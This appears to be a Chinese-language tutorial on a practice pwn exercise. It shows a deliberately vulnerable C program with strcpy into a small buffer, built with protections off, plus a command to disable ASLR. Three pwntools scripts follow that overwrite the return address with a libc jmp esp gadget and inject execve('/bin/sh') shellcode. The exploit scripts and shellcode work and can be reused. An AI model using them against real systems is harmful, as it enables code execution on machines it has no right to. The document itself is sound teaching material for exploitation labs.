源码
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
编译:gcc -m32 -no-pie -fno-stack-protector -z execstack -o no no.c
查看开启的安全机制

最好加一条命令关闭系统的的地址随机化:
首先确认系统中ASLR是否打开,cat /proc/sys/kernel/randomize_va_space
如果结果为2,则ASLR开启。
echo 0 > /proc/sys/kernel/randomize_va_space
需要补充一个gdb和gdb-peda切换的命令:
echo "source ~/.GdbPlugins/gef/gef.py" > ~/.gdbinit
echo "source ~/peda/peda.py" >> ~/.gdbinit
调试
先gdb no 运行
先断点
在asm命令窗口r 然后单步进入 ni
找到我们关键的函数点,看看我们漏洞函数

先了解一下这个图:

我们可以构造 buffer = 填充字符 + jmp_esp_addr +shellcode
脚本跑出来jmp_esp
from pwn import *
libc = ELF('/lib32/libc.so.6') #文件
jmp_esp = asm('jmp esp') #jmp esp汇编指令的操作数
jmp_esp_addr_in_libc = libc.search(jmp_esp).next() #搜索
print hex(jmp_esp_addr_in_libc) #打印
我们只得到了jmp_esp的偏移地址 我们需要知道libc的头
jmp_esp_addr = jmp_esp_offset +libc_base

echo "source ~/peda/peda.py" >> ~/.gdbinit

buffer_start= 0xffffd450


buffer_end = 0xffffd49c


补充:jmp_esp_addr (暂时没有找到,直接泄露地址的方法)
from pwn import*
libc = ELF("libc.so.6")
jmp_esp =asm('jmp esp')
jmp_esp_addr = libc.search(jmp_esp).next()
print hex(jmp_esp_addr)
Text.1
from pwn import *
p = process('./no')
p.recvuntil("shellcode:")
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7e06000
jmp_esp_addr = libc_base + jmp_esp_addr_offset
print hex(jmp_esp_addr)
buf = 'A'*76
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf)
p.interactive()

Text.2
from pwn import*
p = process('./no')
p.recvuntil("shellcode:")
jmp_esp_addr_offset = 0x2aa9
libc_base = 0xf7e06000
jmp_esp_addr =jmp_esp_addr_offset + libc_base
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
playload = 'A'*76 +p32(jmp_esp_addr) +shellcode
with open('poc','wb') as f:
f.write(playload)
p.sendline(playload)
p.interactive()

文章更新.7_13
检查安全机制

分析漏洞点
将生成的文件放入IDA里面。

编写脚本
思路:
1.刚开始接触这个题,首先想到的往栈里面填入数据,然后进行调用这个数据(shellcode)
2.要是有一个输入函数和一个输出函数,我们可以通过泄露libc-base,得到system和bin/sh的地址。 -->在libc里面 (x)
注:因为什么机制都没开启,最好用的就是填充数据,然后跳转到我们的shellcode
#!/usr/bin/env pwthon
#coding=utf-8
from pwn import*
context.log_level= "debug"
local = 1
if local:
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
else:
p = remote("")
#-----------获取jmp_esp---------------------
libc_base = 0xf7e02000
jmp_esp = asm('jmp esp')
jmp_esp_offset = libc.search(jmp_esp).next()
print ("[----->jmp_esp_addr]= ") +hex(jmp_esp_offset)
jmp_esp_addr = libc_base + jmp_esp_offset
#-----------获取shellcode-------------------
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
#-------------------------------------------
offset = 76 #(72+4)
payload = "A" * offset
payload += p32(jmp_esp_addr)
payload += shellcode
p.sendline(payload)
p.interactive()
网友评论